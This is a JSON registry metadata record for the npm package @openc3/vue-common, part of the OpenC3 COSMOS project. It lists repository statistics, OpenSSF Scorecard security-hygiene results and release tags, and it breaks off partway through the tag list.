{"id":11155710,"name":"@openc3/vue-common","ecosystem":"npm","description":"Vue component library for COSMOS tool development","homepage":"https://openc3.com","licenses":"SEE LICENSE IN LICENSE.md","normalized_licenses":["ICU"],"repository_url":"https://github.com/OpenC3/cosmos","keywords_array":["openc3","cosmos"],"namespace":"openc3","versions_count":38,"first_release_published_at":"2024-12-10T23:54:38.801Z","latest_release_published_at":"2026-09-24T14:20:43.600Z","latest_release_number":"7.4.1","last_synced_at":"2026-10-07T14:42:16.454Z","created_at":"2024-12-11T01:07:48.980Z","updated_at":"2026-10-07T14:42:16.455Z","registry_url":"https://www.npmjs.com/package/@openc3/vue-common","install_command":"npm install @openc3/vue-common","documentation_url":null,"metadata":{"funding":null,"dist-tags":{"latest":"7.4.1"},"contentPolicy":null},"repo_metadata":{"id":45797190,"uuid":"512873881","full_name":"OpenC3/cosmos","owner":"OpenC3","description":"OpenC3 COSMOS","archived":false,"fork":false,"pushed_at":"2026-10-06T12:39:56.000Z","size":1361631,"stargazers_count":254,"open_issues_count":389,"forks_count":95,"subscribers_count":7,"default_branch":"main","last_synced_at":"2026-10-06T19:43:05.881Z","etag":null,"topics":["automation","cosmos","hardware","integration","iot","python","ruby","scripting","space","spacecraft","test"],"latest_commit_sha":null,"homepage":"https://openc3.com","language":"Ruby","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":"BallAerospace/COSMOS","license":"other","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/OpenC3.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":"CONTRIBUTING.md","funding":null,"license":"LICENSE.md","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":"SECURITY.md","support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":null,"claude":"CLAUDE.md","gemini":null,"cursor":null,"copilot":null,"dco":null,"cla":null,"disclosure":null}},"created_at":"2022-07-11T18:49:34.000Z","updated_at":"2026-10-05T15:45:36.000Z","dependencies_parsed_at":"2026-10-06T19:53:11.161Z","dependency_job_id":null,"html_url":"https://github.com/OpenC3/cosmos","commit_stats":{"total_commits":3885,"total_committers":52,"mean_commits":74.71153846153847,"dds":0.6257400257400257,"last_synced_commit":"b5818f60754c19402e8920dfb359c2e56fab9f54"},"previous_names":["openc3/openc3"],"tags_count":146,"template":false,"template_full_name":null,"purl":"pkg:github/OpenC3/cosmos","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/OpenC3","download_url":"https://codeload.github.com/OpenC3/cosmos/tar.gz/refs/heads/main","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/sbom","scorecard":{"id":1245534,"data":{"date":"2026-04-02T19:55:55Z","repo":{"name":"github.com/OpenC3/cosmos","commit":"93ee963d062ef84cdf65626a4e0af702c5563440"},"scorecard":{"version":"v5.3.0","commit":"c22063e786c11f9dd714d777a687ff7c4599b600"},"score":6.1,"checks":[{"name":"Maintained","score":10,"reason":"30 commit(s) and 19 issue activity found in the last 90 days -- score normalized to 10","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/c22063e786c11f9dd714d777a687ff7c4599b600/docs/checks.md#maintained"}},{"name":"Dependency-Update-Tool","score":10,"reason":"update tool detected","details":["Info: detected update tool: Dependabot: .github/dependabot.yml:1"],"documentation":{"short":"Determines if the project uses a dependency update tool.","url":"https://github.com/ossf/scorecard/blob/c22063e786c11f9dd714d777a687ff7c4599b600/docs/checks.md#dependency-update-tool"}},{"name":"Code-Review","score":5,"reason":"Found 6/11 approved changesets -- score normalized to 5","details":null,"documentation":{"short":"Determines if the project requires human code review before pull requests (aka merge requests) are merged.","url":"https://github.com/ossf/scorecard/blob/c22063e786c11f9dd714d777a687ff7c4599b600/docs/checks.md#code-review"}},{"name":"Dangerous-Workflow","score":10,"reason":"no dangerous workflow patterns detected","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous patterns.","url":"https://github.com/ossf/scorecard/blob/c22063e786c11f9dd714d777a687ff7c4599b600/docs/checks.md#dangerous-workflow"}},{"name":"Token-Permissions","score":9,"reason":"detected GitHub workflow tokens with excessive permissions","details":["Info: jobLevel 'contents' permission set to 'read': .github/workflows/api_tests.yml:49","Info: jobLevel 'contents' permission set to 'read': .github/workflows/api_tests.yml:99","Info: jobLevel 'contents' permission set to 'read': .github/workflows/api_tests.yml:145","Info: jobLevel 'contents' permission set to 'read': .github/workflows/build_ubi.yml:37","Info: jobLevel 'contents' permission set to 'read': .github/workflows/clamav.yml:35","Info: jobLevel 'contents' permission set to 'read': .github/workflows/cli.yml:39","Info: jobLevel 'actions' permission set to 'read': .github/workflows/codeql.yaml:50","Info: jobLevel 'contents' permission set to 'read': .github/workflows/codeql.yaml:51","Info: jobLevel 'packages' permission set to 'read': .github/workflows/codeql.yaml:55","Info: jobLevel 'contents' permission set to 'read': .github/workflows/generate-docs.yml:33","Info: jobLevel 'contents' permission set to 'read': .github/workflows/playwright-firefox-nightly.yml:34","Info: jobLevel 'contents' permission set to 'read': .github/workflows/playwright.yml:41","Warn: jobLevel 'contents' permission set to 'write': .github/workflows/post_release_clamav.yml:29","Warn: jobLevel 'contents' permission set to 'write': .github/workflows/post_release_trivy.yml:34","Info: jobLevel 'contents' permission set to 'read': .github/workflows/python_unit_tests.yml:42","Info: jobLevel 'contents' permission set to 'read': .github/workflows/release.yml:40","Info: jobLevel 'contents' permission set to 'read': .github/workflows/ruby_unit_tests.yml:42","Info: jobLevel 'contents' permission set to 'read': .github/workflows/scorecards.yml:29","Info: jobLevel 'actions' permission set to 'read': .github/workflows/scorecards.yml:30","Info: jobLevel 'issues' permission set to 'read': .github/workflows/scorecards.yml:32","Info: jobLevel 'pull-requests' permission set to 'read': .github/workflows/scorecards.yml:33","Info: jobLevel 'checks' permission set to 'read': .github/workflows/scorecards.yml:35","Info: jobLevel 'contents' permission set to 'read': .github/workflows/spelling.yml:35","Info: jobLevel 'contents' permission set to 'read': .github/workflows/tool.yml:38","Info: jobLevel 'contents' permission set to 'read': .github/workflows/trivy.yml:37","Info: jobLevel 'contents' permission set to 'read': .github/workflows/tsdb_integration_tests.yml:46","Info: topLevel 'contents' permission set to 'read': .github/workflows/api_tests.yml:39","Info: topLevel 'contents' permission set to 'read': .github/workflows/build_ubi.yml:28","Info: topLevel 'contents' permission set to 'read': .github/workflows/clamav.yml:28","Info: topLevel 'contents' permission set to 'read': .github/workflows/cli.yml:32","Info: topLevel 'contents' permission set to 'read': .github/workflows/codeql.yaml:30","Info: topLevel 'contents' permission set to 'read': .github/workflows/dependency-review.yml:13","Info: topLevel 'contents' permission set to 'read': .github/workflows/eslint.yml:31","Info: topLevel 'contents' permission set to 'read': .github/workflows/generate-docs.yml:26","Info: topLevel 'contents' permission set to 'read': .github/workflows/playwright-firefox-nightly.yml:26","Info: topLevel 'contents' permission set to 'read': .github/workflows/playwright.yml:32","Info: topLevel 'contents' permission set to 'read': .github/workflows/post_release_clamav.yml:23","Info: topLevel 'contents' permission set to 'read': .github/workflows/post_release_trivy.yml:28","Info: topLevel 'contents' permission set to 'read': .github/workflows/python_lint.yml:34","Info: topLevel 'contents' permission set to 'read': .github/workflows/python_unit_tests.yml:32","Info: topLevel 'contents' permission set to 'read': .github/workflows/release.yml:32","Info: topLevel 'contents' permission set to 'read': .github/workflows/ruby_unit_tests.yml:32","Info: topLevel permissions set to 'read-all': .github/workflows/scorecards.yml:18","Info: topLevel 'contents' permission set to 'read': .github/workflows/spelling.yml:28","Info: topLevel 'contents' permission set to 'read': .github/workflows/tool.yml:31","Warn: no topLevel permission defined: .github/workflows/trivy.yml:1","Info: topLevel 'contents' permission set to 'read': .github/workflows/tsdb_integration_tests.yml:40"],"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/c22063e786c11f9dd714d777a687ff7c4599b600/docs/checks.md#token-permissions"}},{"name":"Binary-Artifacts","score":8,"reason":"binaries present in source code","details":["Warn: binary detected: openc3-ruby/anycable-go-linux-amd64:1","Warn: binary detected: openc3-ruby/anycable-go-linux-arm64:1"],"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/c22063e786c11f9dd714d777a687ff7c4599b600/docs/checks.md#binary-artifacts"}},{"name":"CII-Best-Practices","score":0,"reason":"no effort to earn an OpenSSF best practices badge detected","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/c22063e786c11f9dd714d777a687ff7c4599b600/docs/checks.md#cii-best-practices"}},{"name":"SAST","score":-1,"reason":"internal error: internal error: Client.Checks.ListCheckRunsForRef: error during graphqlHandler.setupCheckRuns: Although you appear to have the correct authorization credentials, the `AikidoSec` organization has an IP allow list enabled, and your IP address is not permitted to access this resource.","details":null,"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/c22063e786c11f9dd714d777a687ff7c4599b600/docs/checks.md#sast"}},{"name":"CI-Tests","score":-1,"reason":"internal error: internal error: Client.Repositories.ListCheckRunsForRef: error during graphqlHandler.setupCheckRuns: Although you appear to have the correct authorization credentials, the `AikidoSec` organization has an IP allow list enabled, and your IP address is not permitted to access this resource.","details":null,"documentation":{"short":"Determines if the project runs tests before pull requests are merged.","url":"https://github.com/ossf/scorecard/blob/c22063e786c11f9dd714d777a687ff7c4599b600/docs/checks.md#ci-tests"}},{"name":"License","score":9,"reason":"license file detected","details":["Info: project has a license file: LICENSE.md:0","Warn: project license file does not contain an FSF or OSI license."],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/c22063e786c11f9dd714d777a687ff7c4599b600/docs/checks.md#license"}},{"name":"Fuzzing","score":0,"reason":"project is not fuzzed","details":["Warn: no fuzzer integrations found"],"documentation":{"short":"Determines if the project uses fuzzing.","url":"https://github.com/ossf/scorecard/blob/c22063e786c11f9dd714d777a687ff7c4599b600/docs/checks.md#fuzzing"}},{"name":"Packaging","score":10,"reason":"packaging workflow detected","details":["Info: Project packages its releases by way of GitHub Actions.: .github/workflows/release.yml:35"],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/c22063e786c11f9dd714d777a687ff7c4599b600/docs/checks.md#packaging"}},{"name":"Branch-Protection","score":-1,"reason":"internal error: error during branchesHandler.setup: internal error: some github tokens can't read classic branch protection rules: https://github.com/ossf/scorecard-action/blob/main/docs/authentication/fine-grained-auth-token.md","details":null,"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/c22063e786c11f9dd714d777a687ff7c4599b600/docs/checks.md#branch-protection"}},{"name":"Security-Policy","score":0,"reason":"security policy file not detected","details":["Warn: no security policy file detected","Warn: no security file to analyze","Warn: no security file to analyze","Warn: no security file to analyze"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/c22063e786c11f9dd714d777a687ff7c4599b600/docs/checks.md#security-policy"}},{"name":"Signed-Releases","score":0,"reason":"Project has not signed or included provenance with any releases.","details":["Warn: release artifact v7.0.0 not signed: https://api.github.com/repos/OpenC3/cosmos/releases/302127473","Warn: release artifact v7.0.0-rc3 not signed: https://api.github.com/repos/OpenC3/cosmos/releases/294029477","Warn: release artifact v7.0.0-rc2 not signed: https://api.github.com/repos/OpenC3/cosmos/releases/288535224","Warn: release artifact v7.0.0-rc1 not signed: https://api.github.com/repos/OpenC3/cosmos/releases/287006034","Warn: release artifact v6.10.4 not signed: https://api.github.com/repos/OpenC3/cosmos/releases/275749930","Warn: release artifact v7.0.0 does not have provenance: https://api.github.com/repos/OpenC3/cosmos/releases/302127473","Warn: release artifact v7.0.0-rc3 does not have provenance: https://api.github.com/repos/OpenC3/cosmos/releases/294029477","Warn: release artifact v7.0.0-rc2 does not have provenance: https://api.github.com/repos/OpenC3/cosmos/releases/288535224","Warn: release artifact v7.0.0-rc1 does not have provenance: https://api.github.com/repos/OpenC3/cosmos/releases/287006034","Warn: release artifact v6.10.4 does not have provenance: https://api.github.com/repos/OpenC3/cosmos/releases/275749930"],"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/c22063e786c11f9dd714d777a687ff7c4599b600/docs/checks.md#signed-releases"}},{"name":"Vulnerabilities","score":0,"reason":"23 existing vulnerabilities detected","details":["Warn: Project is vulnerable to: GHSA-2g4f-4pwh-qvx6","Warn: Project is vulnerable to: GHSA-f886-m6hf-6m8v","Warn: Project is vulnerable to: GHSA-f23m-r3pf-42rh","Warn: Project is vulnerable to: GHSA-r5fr-rjxr-66jc","Warn: Project is vulnerable to: GHSA-23c5-xmqv-rm74","Warn: Project is vulnerable to: GHSA-3ppc-4f35-3m26","Warn: Project is vulnerable to: GHSA-7r86-cg39-jmmj","Warn: Project is vulnerable to: GHSA-2328-f5f3-gj25","Warn: Project is vulnerable to: GHSA-5m6q-g25r-mvwx","Warn: Project is vulnerable to: GHSA-ppp5-5v6c-4jwp","Warn: Project is vulnerable to: GHSA-q67f-28xg-22rw","Warn: Project is vulnerable to: GHSA-37ch-88jc-xwx2","Warn: Project is vulnerable to: GHSA-3v7f-55p6-f55p","Warn: Project is vulnerable to: GHSA-c2c7-rcm5-vvqj","Warn: Project is vulnerable to: GHSA-6rw7-vpxm-498p","Warn: Project is vulnerable to: GHSA-w7fw-mjwx-w883","Warn: Project is vulnerable to: GHSA-5c6j-r48x-rmvq","Warn: Project is vulnerable to: GHSA-qj8w-gfj5-8c6v","Warn: Project is vulnerable to: GHSA-xpqw-6gx7-v673","Warn: Project is vulnerable to: GHSA-38r7-794h-5758","Warn: Project is vulnerable to: GHSA-8fgc-7cc6-rx7x","Warn: Project is vulnerable to: GHSA-5j98-mcp5-4vw2","Warn: Project is vulnerable to: GHSA-mw96-cpmx-2vgc"],"documentation":{"short":"Determines if the project has open, known unfixed vulnerabilities.","url":"https://github.com/ossf/scorecard/blob/c22063e786c11f9dd714d777a687ff7c4599b600/docs/checks.md#vulnerabilities"}},{"name":"Pinned-Dependencies","score":7,"reason":"dependency not pinned by hash detected -- score normalized to 7","details":["Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/trivy.yml:39: update your workflow using https://app.stepsecurity.io/secureworkflow/OpenC3/cosmos/trivy.yml/main?enable=pin","Warn: containerImage not pinned by hash: openc3-buckets/Dockerfile:7: pin your Docker image by updating docker.io/alpine:3.23.3 to docker.io/alpine:3.23.3@sha256:25109184c71bdad752c8312a8623239686a9a2071e8825f20acb8f2198c3f659","Warn: containerImage not pinned by hash: openc3-buckets/Dockerfile-ubi:6","Warn: containerImage not pinned by hash: openc3-cosmos-cmd-tlm-api/Dockerfile:6: pin your Docker image by updating docker.io/openc3inc/openc3-base:latest to docker.io/openc3inc/openc3-base:latest@sha256:55fd0fffe9a9d078090f6dc7ce6dc02dc331f5cbfe11f2a0d9554e1656a265f2","Warn: containerImage not pinned by hash: openc3-cosmos-init/Dockerfile:9: pin your Docker image by updating docker.io/openc3inc/openc3-node:latest to docker.io/openc3inc/openc3-node:latest@sha256:121d812a3bba28bf773147de31671c230cf19c76b86df2186d6c6fd4eaf33b38","Warn: containerImage not pinned by hash: openc3-cosmos-init/Dockerfile:49","Warn: containerImage not pinned by hash: openc3-cosmos-init/Dockerfile:66","Warn: containerImage not pinned by hash: openc3-cosmos-init/Dockerfile:83","Warn: containerImage not pinned by hash: openc3-cosmos-init/Dockerfile:100","Warn: containerImage not pinned by hash: openc3-cosmos-init/Dockerfile:116: pin your Docker image by updating docker.io/openc3inc/openc3-base:latest to docker.io/openc3inc/openc3-base:latest@sha256:55fd0fffe9a9d078090f6dc7ce6dc02dc331f5cbfe11f2a0d9554e1656a265f2","Warn: containerImage not pinned by hash: openc3-cosmos-init/Dockerfile:117","Warn: containerImage not pinned by hash: openc3-cosmos-init/Dockerfile:128: pin your Docker image by updating docker.io/openc3inc/openc3-base:latest to docker.io/openc3inc/openc3-base:latest@sha256:55fd0fffe9a9d078090f6dc7ce6dc02dc331f5cbfe11f2a0d9554e1656a265f2","Warn: containerImage not pinned by hash: openc3-cosmos-script-runner-api/Dockerfile:6: pin your Docker image by updating docker.io/openc3inc/openc3-base:latest to docker.io/openc3inc/openc3-base:latest@sha256:55fd0fffe9a9d078090f6dc7ce6dc02dc331f5cbfe11f2a0d9554e1656a265f2","Warn: containerImage not pinned by hash: openc3-node/Dockerfile:5: pin your Docker image by updating docker.io/openc3inc/openc3-ruby:latest to docker.io/openc3inc/openc3-ruby:latest@sha256:a4291a51f51d4b64e092a8b35ca4e4f18512745d10cc8da9f09809932077f97a","Warn: containerImage not pinned by hash: openc3-node/Dockerfile-ubi:5: pin your Docker image by updating docker.io/openc3inc/openc3-ruby-ubi:latest to docker.io/openc3inc/openc3-ruby-ubi:latest@sha256:2a6e3fd3f2eef725954227ef65a8052aa98b6156055383ca183c4f4ddbceb290","Warn: containerImage not pinned by hash: openc3-operator/Dockerfile:6: pin your Docker image by updating docker.io/openc3inc/openc3-base:latest to docker.io/openc3inc/openc3-base:latest@sha256:55fd0fffe9a9d078090f6dc7ce6dc02dc331f5cbfe11f2a0d9554e1656a265f2","Warn: containerImage not pinned by hash: openc3-redis/Dockerfile:5: pin your Docker image by updating docker.io/valkey/valkey:9.0.3-alpine to docker.io/valkey/valkey:9.0.3-alpine@sha256:84c96f47ebe197e635cd3ddbe3ab74e8bdf783cf3befbfb1c36387275c1cd5d5","Warn: containerImage not pinned by hash: openc3-redis/Dockerfile-ubi:5","Warn: containerImage not pinned by hash: openc3-redis/Dockerfile-ubi:6","Warn: containerImage not pinned by hash: openc3-redis/Dockerfile-ubi:69","Warn: containerImage not pinned by hash: openc3-ruby/Dockerfile:7: pin your Docker image by updating docker.io/alpine:3.23.3 to docker.io/alpine:3.23.3@sha256:25109184c71bdad752c8312a8623239686a9a2071e8825f20acb8f2198c3f659","Warn: containerImage not pinned by hash: openc3-ruby/Dockerfile-ubi:5","Warn: containerImage not pinned by hash: openc3-traefik/Dockerfile:5: pin your Docker image by updating docker.io/traefik:v3.6.11 to docker.io/traefik:v3.6.11@sha256:acfc80650104f0194a15f73dc1648f517561bc1645391a15705332a064cfc33c","Warn: containerImage not pinned by hash: openc3-tsdb/Dockerfile:6: pin your Docker image by updating docker.io/questdb/questdb:9.3.3 to docker.io/questdb/questdb:9.3.3@sha256:e3643adc18f68bc02f3074c841d3f765f6c299443f8e4ca57b3bcac1a05e224d","Warn: containerImage not pinned by hash: openc3-tsdb/Dockerfile-ubi:6: pin your Docker image by updating docker.io/questdb/questdb:9.3.3-rhel to docker.io/questdb/questdb:9.3.3-rhel@sha256:06dc69f962f55031b4006a1c089ce0748fc5952075b5fef97a500f758fe7cc1e","Warn: containerImage not pinned by hash: openc3/Dockerfile:6: pin your Docker image by updating docker.io/openc3inc/openc3-ruby:latest to docker.io/openc3inc/openc3-ruby:latest@sha256:a4291a51f51d4b64e092a8b35ca4e4f18512745d10cc8da9f09809932077f97a","Warn: npmCommand not pinned by hash: openc3-node/Dockerfile:9-12","Warn: npmCommand not pinned by hash: openc3-node/Dockerfile-ubi:15-23","Warn: pipCommand not pinned by hash: openc3-ruby/Dockerfile:49-89","Warn: pipCommand not pinned by hash: openc3-ruby/Dockerfile-ubi:72-87","Warn: pipCommand not pinned by hash: .github/workflows/release.yml:69","Warn: pipCommand not pinned by hash: .github/workflows/release.yml:70","Info:  72 out of  73 GitHub-owned GitHubAction dependencies pinned","Info: 127 out of 127 third-party GitHubAction dependencies pinned","Info:   0 out of  25 containerImage dependencies pinned","Info:   0 out of   2 npmCommand dependencies pinned","Info:   0 out of   4 pipCommand dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/c22063e786c11f9dd714d777a687ff7c4599b600/docs/checks.md#pinned-dependencies"}},{"name":"Contributors","score":10,"reason":"project has 9 contributing companies or organizations","details":["Info: found contributions from: ECE3SAT, ECEBORG, OpenC3, aws, iTeam-org, openc3, tensegrity-labs, tensegrity-labs @ballaerospace @baesystemsinc, windhover labs"],"documentation":{"short":"Determines if the project has a set of contributors from multiple organizations (e.g., companies).","url":"https://github.com/ossf/scorecard/blob/c22063e786c11f9dd714d777a687ff7c4599b600/docs/checks.md#contributors"}}]},"last_synced_at":"2026-04-03T14:54:59.654Z","repository_id":45797190,"created_at":"2026-04-03T14:54:59.654Z","updated_at":"2026-04-03T14:54:59.654Z"},"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":343170754,"owners_count":38100369,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-10-03T21:59:58.778Z","status":"online","status_checked_at":"2026-10-06T02:00:06.537Z","response_time":86,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"owner_record":{"login":"OpenC3","name":"OpenC3","uuid":"108913865","kind":"organization","description":"Open Source. Open Architecture. Command, Control and Communication","email":"support@openc3.com","website":null,"location":"United States of America","twitter":null,"company":null,"icon_url":"https://avatars.githubusercontent.com/u/108913865?v=4","repositories_count":3,"last_synced_at":"2023-03-10T18:05:42.190Z","metadata":{"has_sponsors_listing":false},"html_url":"https://github.com/OpenC3","funding_links":[],"total_stars":null,"followers":null,"following":null,"created_at":"2023-02-14T20:23:46.755Z","updated_at":"2023-03-10T18:05:42.192Z","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/OpenC3","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/OpenC3/repositories"},"tags":[{"name":"v7.4.1","sha":"69ac2c5e1616e58f71b3a9214452cf92234ca248","kind":"tag","published_at":"2026-09-24T13:49:36.000Z","download_url":"https://codeload.github.com/OpenC3/cosmos/tar.gz/v7.4.1","html_url":"https://github.com/OpenC3/cosmos/releases/tag/v7.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/OpenC3/cosmos@v7.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v7.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v7.4.1/manifests"},{"name":"v7.4.0","sha":"b028dad9127e040b04eaade875f44491ccf72785","kind":"tag","published_at":"2026-09-11T00:36:44.000Z","download_url":"https://codeload.github.com/OpenC3/cosmos/tar.gz/v7.4.0","html_url":"https://github.com/OpenC3/cosmos/releases/tag/v7.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/OpenC3/cosmos@v7.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v7.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v7.4.0/manifests"},{"name":"v7.3.0","sha":"92f8c99cc8ed704d2cf747832f09b72d64b6fa65","kind":"tag","published_at":"2026-08-07T13:28:05.000Z","download_url":"https://codeload.github.com/OpenC3/cosmos/tar.gz/v7.3.0","html_url":"https://github.com/OpenC3/cosmos/releases/tag/v7.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/OpenC3/cosmos@v7.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v7.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v7.3.0/manifests"},{"name":"v7.2.1","sha":"af8883253b5e558b61ea75f38abec999f1eac5f4","kind":"tag","published_at":"2026-07-11T17:10:22.000Z","download_url":"https://codeload.github.com/OpenC3/cosmos/tar.gz/v7.2.1","html_url":"https://github.com/OpenC3/cosmos/releases/tag/v7.2.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/OpenC3/cosmos@v7.2.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v7.2.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v7.2.1/manifests"},{"name":"v7.2.0","sha":"77acb91cc2c3b21af3eb981c829285dea96c984e","kind":"tag","published_at":"2026-06-01T22:13:58.000Z","download_url":"https://codeload.github.com/OpenC3/cosmos/tar.gz/v7.2.0","html_url":"https://github.com/OpenC3/cosmos/releases/tag/v7.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/OpenC3/cosmos@v7.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v7.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v7.2.0/manifests"},{"name":"v7.1.1","sha":"e174a4a6439f28682e74baec89613658fdf9ce5e","kind":"tag","published_at":"2026-05-15T12:48:33.000Z","download_url":"https://codeload.github.com/OpenC3/cosmos/tar.gz/v7.1.1","html_url":"https://github.com/OpenC3/cosmos/releases/tag/v7.1.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/OpenC3/cosmos@v7.1.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v7.1.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v7.1.1/manifests"},{"name":"v6.10.6","sha":"3f53856e274519d2decb4735727b35de7ff8834d","kind":"tag","published_at":"2026-05-04T23:04:39.000Z","download_url":"https://codeload.github.com/OpenC3/cosmos/tar.gz/v6.10.6","html_url":"https://github.com/OpenC3/cosmos/releases/tag/v6.10.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/OpenC3/cosmos@v6.10.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v6.10.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v6.10.6/manifests"},{"name":"v7.1.0","sha":"069ca569e3f9c28809631a756c8afceffa365091","kind":"tag","published_at":"2026-04-30T23:33:12.000Z","download_url":"https://codeload.github.com/OpenC3/cosmos/tar.gz/v7.1.0","html_url":"https://github.com/OpenC3/cosmos/releases/tag/v7.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/OpenC3/cosmos@v7.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v7.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v7.1.0/manifests"},{"name":"v6.10.5","sha":"13ea2c8deb37ac3f306fee264e725602e5a6cf1a","kind":"tag","published_at":"2026-04-12T19:50:20.000Z","download_url":"https://codeload.github.com/OpenC3/cosmos/tar.gz/v6.10.5","html_url":"https://github.com/OpenC3/cosmos/releases/tag/v6.10.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/OpenC3/cosmos@v6.10.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v6.10.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v6.10.5/manifests"},{"name":"v7.0.1","sha":"88d58d6c3529c117fafbb726c8fe970b9f3e48ca","kind":"tag","published_at":"2026-04-10T22:04:45.000Z","download_url":"https://codeload.github.com/OpenC3/cosmos/tar.gz/v7.0.1","html_url":"https://github.com/OpenC3/cosmos/releases/tag/v7.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/OpenC3/cosmos@v7.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v7.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v7.0.1/manifests"},{"name":"v7.0.0","sha":"eb3e364e8f3d5a7ea68fd756625561192d0025f0","kind":"tag","published_at":"2026-03-26T21:31:03.000Z","download_url":"https://codeload.github.com/OpenC3/cosmos/tar.gz/v7.0.0","html_url":"https://github.com/OpenC3/cosmos/releases/tag/v7.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/OpenC3/cosmos@v7.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/OpenC3%2Fcosmos/tags/v7.0.0","manifests_url":"